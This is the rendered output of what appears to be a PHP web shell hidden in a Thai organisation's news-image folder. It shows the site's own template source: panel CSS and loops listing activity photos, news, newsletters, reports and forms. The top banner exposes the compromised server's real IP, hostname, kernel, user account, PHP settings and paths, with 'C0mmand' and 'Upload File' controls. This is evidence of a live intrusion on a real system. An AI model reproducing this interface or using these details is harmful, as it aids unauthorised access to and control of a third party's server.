|
Server IP : 124.109.2.77 / Your IP : 216.73.216.49 Web Server : Apache/2 System : Linux ns4.amiprocorp.com 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64 User : cpctlp ( 1020) PHP Version : 5.6.40 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : ON | cURL : ON | WGET : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 329 OFF | Perl : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 335 OFF | Python : Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/cpctlp/:/tmp/:/var/tmp/:/opt/alt/php83/usr/share/pear/:/dev/urandom:/usr/local/php56/lib/:/usr/local/php83/lib/:/usr/local/php74/lib/:/usr/local/php56/lib/:/usr/local/lib/php/) in /home/cpctlp/domains/cpctlphp.com/public_html/admin/images/News/202602260302550.php on line 341 OFF Directory (0755) : /home/cpctlp/domains/cpctlphp.com/private_html/Connections/../counter/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!-- blog-section end -->
<style>
.panel {
margin-bottom: 20px;
background-color: #fff;
border: 1px solid transparent;
border-radius: 4px;
-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05);
box-shadow: 0 1px 1px rgba(0, 0, 0, .05);
}
.panel-body {
padding: 15px;
}
.panel-heading {
padding: 10px 15px;
border-bottom: 1px solid transparent;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
}
.panel-heading > .dropdown .dropdown-toggle {
color: inherit;
}
.panel-title {
margin-top: 0;
margin-bottom: 0;
font-size: 16px;
color: inherit;
}
.panel-title > a {
color: inherit;
}
.panel-footer {
padding: 10px 15px;
background-color: #f5f5f5;
border-top: 1px solid #ddd;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;
}
.panel > .list-group,
.panel > .panel-collapse > .list-group {
margin-bottom: 0;
}
.panel > .list-group .list-group-item,
.panel > .panel-collapse > .list-group .list-group-item {
border-width: 1px 0;
border-radius: 0;
}
.panel > .list-group:first-child .list-group-item:first-child,
.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {
border-top: 0;
border-top-left-radius: 3px;
border-top-right-radius: 3px;
}
.panel > .list-group:last-child .list-group-item:last-child,
.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {
border-bottom: 0;
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;
}
.panel-heading + .list-group .list-group-item:first-child {
border-top-width: 0;
}
.list-group + .panel-footer {
border-top-width: 0;
}
.panel > .table,
.panel > .table-responsive > .table,
.panel > .panel-collapse > .table {
margin-bottom: 0;
}
.panel > .table caption,
.panel > .table-responsive > .table caption,
.panel > .panel-collapse > .table caption {
padding-right: 15px;
padding-left: 15px;
}
.panel > .table:first-child,
.panel > .table-responsive:first-child > .table:first-child {
border-top-left-radius: 3px;
border-top-right-radius: 3px;
}
.panel > .table:first-child > thead:first-child > tr:first-child,
.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,
.panel > .table:first-child > tbody:first-child > tr:first-child,
.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {
border-top-left-radius: 3px;
border-top-right-radius: 3px;
}
.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,
.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,
.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,
.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,
.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,
.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,
.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,
.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {
border-top-left-radius: 3px;
}
.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,
.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,
.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,
.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,
.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,
.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,
.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,
.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {
border-top-right-radius: 3px;
}
.panel > .table:last-child,
.panel > .table-responsive:last-child > .table:last-child {
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;
}
.panel > .table:last-child > tbody:last-child > tr:last-child,
.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,
.panel > .table:last-child > tfoot:last-child > tr:last-child,
.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {
border-bottom-right-radius: 3px;
border-bottom-left-radius: 3px;
}
.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,
.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,
.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,
.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,
.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,
.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,
.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,
.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {
border-bottom-left-radius: 3px;
}
.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,
.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,
.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,
.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,
.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,
.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,
.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,
.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {
border-bottom-right-radius: 3px;
}
.panel > .panel-body + .table,
.panel > .panel-body + .table-responsive,
.panel > .table + .panel-body,
.panel > .table-responsive + .panel-body {
border-top: 1px solid #ddd;
}
.panel > .table > tbody:first-child > tr:first-child th,
.panel > .table > tbody:first-child > tr:first-child td {
border-top: 0;
}
.panel > .table-bordered,
.panel > .table-responsive > .table-bordered {
border: 0;
}
.panel > .table-bordered > thead > tr > th:first-child,
.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,
.panel > .table-bordered > tbody > tr > th:first-child,
.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,
.panel > .table-bordered > tfoot > tr > th:first-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,
.panel > .table-bordered > thead > tr > td:first-child,
.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,
.panel > .table-bordered > tbody > tr > td:first-child,
.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,
.panel > .table-bordered > tfoot > tr > td:first-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {
border-left: 0;
}
.panel > .table-bordered > thead > tr > th:last-child,
.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,
.panel > .table-bordered > tbody > tr > th:last-child,
.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,
.panel > .table-bordered > tfoot > tr > th:last-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,
.panel > .table-bordered > thead > tr > td:last-child,
.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,
.panel > .table-bordered > tbody > tr > td:last-child,
.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,
.panel > .table-bordered > tfoot > tr > td:last-child,
.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {
border-right: 0;
}
.panel > .table-bordered > thead > tr:first-child > td,
.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,
.panel > .table-bordered > tbody > tr:first-child > td,
.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,
.panel > .table-bordered > thead > tr:first-child > th,
.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,
.panel > .table-bordered > tbody > tr:first-child > th,
.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {
border-bottom: 0;
}
.panel > .table-bordered > tbody > tr:last-child > td,
.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,
.panel > .table-bordered > tfoot > tr:last-child > td,
.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,
.panel > .table-bordered > tbody > tr:last-child > th,
.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,
.panel > .table-bordered > tfoot > tr:last-child > th,
.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {
border-bottom: 0;
}
.panel > .table-responsive {
margin-bottom: 0;
border: 0;
}
.panel-group {
margin-bottom: 20px;
}
.panel-group .panel {
margin-bottom: 0;
border-radius: 4px;
}
.panel-group .panel + .panel {
margin-top: 5px;
}
.panel-group .panel-heading {
border-bottom: 0;
}
.panel-group .panel-heading + .panel-collapse > .panel-body,
.panel-group .panel-heading + .panel-collapse > .list-group {
border-top: 1px solid #ddd;
}
.panel-group .panel-footer {
border-top: 0;
}
.panel-group .panel-footer + .panel-collapse .panel-body {
border-bottom: 1px solid #ddd;
}
.panel-default {
border-color: #ddd;
}
.panel-default > .panel-heading {
color: #333;
background-color: #f5f5f5;
border-color: #ddd;
}
.panel-default > .panel-heading + .panel-collapse > .panel-body {
border-top-color: #ddd;
}
.panel-default > .panel-heading .badge {
color: #f5f5f5;
background-color: #333;
}
.panel-default > .panel-footer + .panel-collapse > .panel-body {
border-bottom-color: #ddd;
}
.panel-primary {
border-color: #428bca;
}
.panel-primary > .panel-heading {
color: #fff;
background-color: #428bca;
border-color: #428bca;
}
.panel-primary > .panel-heading + .panel-collapse > .panel-body {
border-top-color: #428bca;
}
.panel-primary > .panel-heading .badge {
color: #428bca;
background-color: #fff;
}
.panel-primary > .panel-footer + .panel-collapse > .panel-body {
border-bottom-color: #428bca;
}
.panel-success {
border-color: #d6e9c6;
}
.panel-success > .panel-heading {
color: #3c763d;
background-color: #dff0d8;
border-color: #d6e9c6;
}
.panel-success > .panel-heading + .panel-collapse > .panel-body {
border-top-color: #d6e9c6;
}
.panel-success > .panel-heading .badge {
color: #dff0d8;
background-color: #3c763d;
}
.panel-success > .panel-footer + .panel-collapse > .panel-body {
border-bottom-color: #d6e9c6;
}
.panel-info {
border-color: #bce8f1;
}
.panel-info > .panel-heading {
color: #31708f;
background-color: #d9edf7;
border-color: #bce8f1;
}
.panel-info > .panel-heading + .panel-collapse > .panel-body {
border-top-color: #bce8f1;
}
.panel-info > .panel-heading .badge {
color: #d9edf7;
background-color: #31708f;
}
.panel-info > .panel-footer + .panel-collapse > .panel-body {
border-bottom-color: #bce8f1;
}
.panel-warning {
border-color: #faebcc;
}
.panel-warning > .panel-heading {
color: #8a6d3b;
background-color: #fcf8e3;
border-color: #faebcc;
}
.panel-warning > .panel-heading + .panel-collapse > .panel-body {
border-top-color: #faebcc;
}
.panel-warning > .panel-heading .badge {
color: #fcf8e3;
background-color: #8a6d3b;
}
.panel-warning > .panel-footer + .panel-collapse > .panel-body {
border-bottom-color: #faebcc;
}
.panel-danger {
border-color: #ebccd1;
}
.panel-danger > .panel-heading {
color: #a94442;
background-color: #f2dede;
border-color: #ebccd1;
}
.panel-danger > .panel-heading + .panel-collapse > .panel-body {
border-top-color: #ebccd1;
}
.panel-danger > .panel-heading .badge {
color: #f2dede;
background-color: #a94442;
}
.panel-danger > .panel-footer + .panel-collapse > .panel-body {
border-bottom-color: #ebccd1;
}
</style>
<!-- ภาพกิจกรรม -->
<?php
$page_data=12;
$sql ="select *,TO_DAYS(now())-TO_DAYS(concat(YEAR(aDate),'-',month(aDate),'-',day(aDate))) as cday
from news
where subID='0' and Approve='T' order by aDate desc,no desc,aID Desc limit 12 ";
$row=$db->recCount($sql);
if($row>0){
echo <<<DOC
<div class="row"><!-- row -->
<div class="col-lg-12 col-sm-12 col-xs-12">
<div class="panel" >
<div class="panel-heading"><h4><i class="fa fa-cloud-download"></i> ภาพกิจกรรม</h4> </div>
<div class="panel-body">
DOC;
foreach ($db->dbSearch($sql) as $i=>$arr) {
if($i>0 and $i%2==0){
echo "</div>
<div class=\"row col-lg-12 col-sm-12 col-xs-12\">";
}
$arr[aDate]=ShowAllDate($arr[aDate],1);
$arr[name]=htmlspecialchars_decode($arr[name], ENT_QUOTES);
if($arr[cday]<=5){
$IconNew = "<img src=\"images/new.gif\" width=\"50\">";
}else{
$IconNew = "";
}
echo <<<DOC
<div class="col-lg-12 col-sm-12 col-xs-12">
<div class="row">
<div class="col-lg-12 col-sm-12 col-xs-12">
<A HREF="ShowNews.php?id=$arr[uniqid]$arr[aID]" target="a$arr[aID]">
<img class="lazyload img-fluid" src="admin/images/News/$arr[aImg]" width="100%" style=" border: 0px solid #ddd;border-radius: 5px;">
</A>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12">
<span class="price text-center"><small>$arr[aDate]</small></span><BR>
<A HREF="ShowNews.php?id=$arr[uniqid]$arr[aID]" target="a$arr[aID]">
$arr[aName]$arr[aDesc]</A>$IconNew <BR>
</div>
</div>
</div><!-- col-sm-12 -->
DOC;
}
echo <<<DOC
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12" align="center">
<a href="GalleryALL.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
</div><!-- row -->
DOC;
}//มีข้อมูล
?>
<!-- ภาพกิจกรรม -->
<!-- ข่าวสารประชาสัมพันธ์ -->
<?php
$page_data=10;
$sql2 ="select *,TO_DAYS(now())-TO_DAYS(concat(YEAR(linkDate),'-',month(linkDate),'-',day(linkDate))) as cday
from link
where page_data='$page_data' order by budgetYear desc,linkDate desc,linkID desc limit 12";
$row=$db->recCount($sql2);
//if($row>0){
echo <<<DOC
<div class="row"><!-- row -->
<div class="col-lg-12 col-sm-12 col-xs-12">
<div class="panel" >
<div class="panel-heading"><h4><i class="fa fa-newspaper-o"></i> ข่าวสารประชาสัมพันธ์</h4> </div>
<div class="panel-body">
DOC;
foreach ($db->dbSearch($sql2) as $i=>$arr2) {
if(!empty($arr2[qFile])){
$arr2[url]="ShowLink.php?id=$arr2[uniqid]$arr2[linkID]";
}
if($arr2[cday]<=5){
$IconNew = "<img src=\"images/new.gif\" width=\"50\">";
}else{
$IconNew = "";
}
$arr2[linkDate]=ShowAllDate($arr2[linkDate],1); //." ".substr($arr2[linkDate],10,10);
echo <<<DOC
<div class="col-lg-12 col-sm-12 col-xs-12" style="padding-right: 1px;padding-left: 35px;border: 1px solid #ddd;border-radius: 5px;">
<div class="row">
<div class="col-lg-12 col-sm-12 col-xs-12">
<A HREF="$arr2[url]" target="a$arr2[linkID]">
<img class="lazyload img-fluid" src="admin/images/link/$arr2[aImg]" width="100%" style=" border: 0px solid #ddd;border-radius: 5px;">
</A>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12">
<span class="price text-center"><small>$arr2[linkDate]</small></span><BR>
<A HREF="$arr2[url]" target="a$arr2[linkID]">
$arr2[name]</A>$IconNew <BR>
</div>
</div>
</div><!-- col-sm-12 -->
DOC;
}
echo <<<DOC
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12" align="center">
<a href="News.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
</div><!-- row -->
DOC;
//}//มีข้อมูล
?>
<!-- ข่าวสารประชาสัมพันธ์ -->
<!-- จดหมายข่าว -->
<?php
$page_data=11;
$sql2 ="select *,TO_DAYS(now())-TO_DAYS(concat(YEAR(linkDate),'-',month(linkDate),'-',day(linkDate))) as cday
from link
where page_data='$page_data' order by budgetYear desc,linkDate desc,linkID desc limit 12";
$row=$db->recCount($sql2);
if($row>0){
echo <<<DOC
<div class="row"><!-- row -->
<div class="col-lg-12 col-sm-12 col-xs-12">
<div class="panel" >
<div class="panel-heading"><h4><i class="fa fa-volume-up"></i> จดหมายข่าว</h4> </div>
<div class="panel-body">
DOC;
foreach ($db->dbSearch($sql2) as $i=>$arr2) {
if(!empty($arr2[qFile])){
$arr2[url]="ShowLink.php?id=$arr2[uniqid]$arr2[linkID]";
}
if($arr2[cday]<=5){
$IconNew = "<img src=\"images/new.gif\" width=\"50\">";
}else{
$IconNew = "";
}
$arr2[linkDate]=ShowAllDate($arr2[linkDate],1); //." ".substr($arr2[linkDate],10,10);
echo <<<DOC
<div class="col-lg-12 col-sm-12 col-xs-12" style="padding-right: 1px;padding-left: 35px;border: 1px solid #ddd;border-radius: 5px;">
<div class="row">
<div class="col-lg-12 col-sm-12 col-xs-12">
<A HREF="$arr2[url]" target="a$arr2[linkID]">
<img class="lazyload img-fluid" src="admin/images/link/$arr2[aImg]" width="100%" style=" border: 0px solid #ddd;border-radius: 5px;">
</A>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12">
<span class="price text-center"><small>$arr2[linkDate]</small></span><BR>
<A HREF="$arr2[url]" target="a$arr2[linkID]">
$arr2[name]</A>$IconNew <BR>
</div>
</div>
</div><!-- col-sm-12 -->
DOC;
}
echo <<<DOC
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12" align="center">
<a href="NewsLetter.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
</div><!-- row -->
DOC;
}//มีข้อมูล
?>
<!-- จดหมายข่าว -->
<!-- รายงานผลการดำเนินงาน -->
<?php
$page_data=7;
$sql2 ="select *,TO_DAYS(now())-TO_DAYS(concat(YEAR(linkDate),'-',month(linkDate),'-',day(linkDate))) as cday
from link
where page_data='$page_data' order by budgetYear desc,linkDate desc,linkID desc limit 12";
$row=$db->recCount($sql2);
if($row>0){
echo <<<DOC
<div class="row"><!-- row -->
<div class="col-lg-12 col-sm-12 col-xs-12">
<div class="panel" >
<div class="panel-heading"><h4><i class="fa fa-thumbs-o-up"></i> รายงานผลการดำเนินงาน</h4> </div>
<div class="panel-body">
DOC;
foreach ($db->dbSearch($sql2) as $i=>$arr2) {
if(!empty($arr2[qFile])){
$arr2[url]="ShowLink.php?id=$arr2[uniqid]$arr2[linkID]";
}
if($arr2[cday]<=5){
$IconNew = "<img src=\"images/new.gif\" width=\"50\">";
}else{
$IconNew = "";
}
$arr2[linkDate]=ShowAllDate($arr2[linkDate],1); //." ".substr($arr2[linkDate],10,10);
echo <<<DOC
<div class="col-lg-12 col-sm-12 col-xs-12" style="padding-right: 1px;padding-left: 35px;border: 1px solid #ddd;border-radius: 5px;">
<div class="row">
<div class="col-lg-12 col-sm-12 col-xs-12">
<A HREF="$arr2[url]" target="a$arr2[linkID]">
<img class="lazyload img-fluid" src="admin/images/link/$arr2[aImg]" width="100%" style=" border: 0px solid #ddd;border-radius: 5px;">
</A>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12">
<span class="price text-center"><small>$arr2[linkDate]</small></span><BR>
<A HREF="$arr2[url]" target="a$arr2[linkID]">
$arr2[name]</A>$IconNew <BR>
</div>
</div>
</div><!-- col-sm-12 -->
DOC;
}
echo <<<DOC
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12" align="center">
<a href="Achievement.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
</div><!-- row -->
DOC;
}//มีข้อมูล
?>
<!-- รายงานผลการดำเนินงาน -->
<!-- แบบฟอร์ม/เอกสารดาวน์โหลด -->
<?php
$page_data=13;
$sql2 ="select *,TO_DAYS(now())-TO_DAYS(concat(YEAR(linkDate),'-',month(linkDate),'-',day(linkDate))) as cday
from link
where page_data='$page_data' order by budgetYear desc,linkDate desc,linkID desc limit 12";
$row=$db->recCount($sql2);
if($row>0){
echo <<<DOC
<div class="row"><!-- row -->
<div class="col-lg-12 col-sm-12 col-xs-12">
<div class="panel" >
<div class="panel-heading"><h4><i class="fa fa-cloud-download"></i> แบบฟอร์ม</h4> </div>
<div class="panel-body">
DOC;
foreach ($db->dbSearch($sql2) as $i=>$arr2) {
if(!empty($arr2[qFile])){
$arr2[url]="ShowLink.php?id=$arr2[uniqid]$arr2[linkID]";
}
if($arr2[cday]<=5){
$IconNew = "<img src=\"images/new.gif\" width=\"50\">";
}else{
$IconNew = "";
}
$arr2[linkDate]=ShowAllDate($arr2[linkDate],1); //." ".substr($arr2[linkDate],10,10);
echo <<<DOC
<a href="$arr2[url]" target="ShowNews" style="font-size: 14px;"><i class="fa fa-file-o"></i> $arr2[name]</A> [$arr2[linkDate]]$IconNew<BR>
DOC;
}
echo <<<DOC
</div>
</div>
</div>
<div class="col-lg-12 col-sm-12 col-xs-12" align="center">
<a href="Download.php.php" target="NewsALL"><input type="button" value=" แสดงทั้งหมด " class="btn btn-secondary" style="border-radius: 25px;background-color: #007bff;border-color: #007bff;"></a>
</div>
</div><!-- row -->
DOC;
}//มีข้อมูล
?>
<!-- แบบฟอร์ม/เอกสารดาวน์โหลด -->
<BR>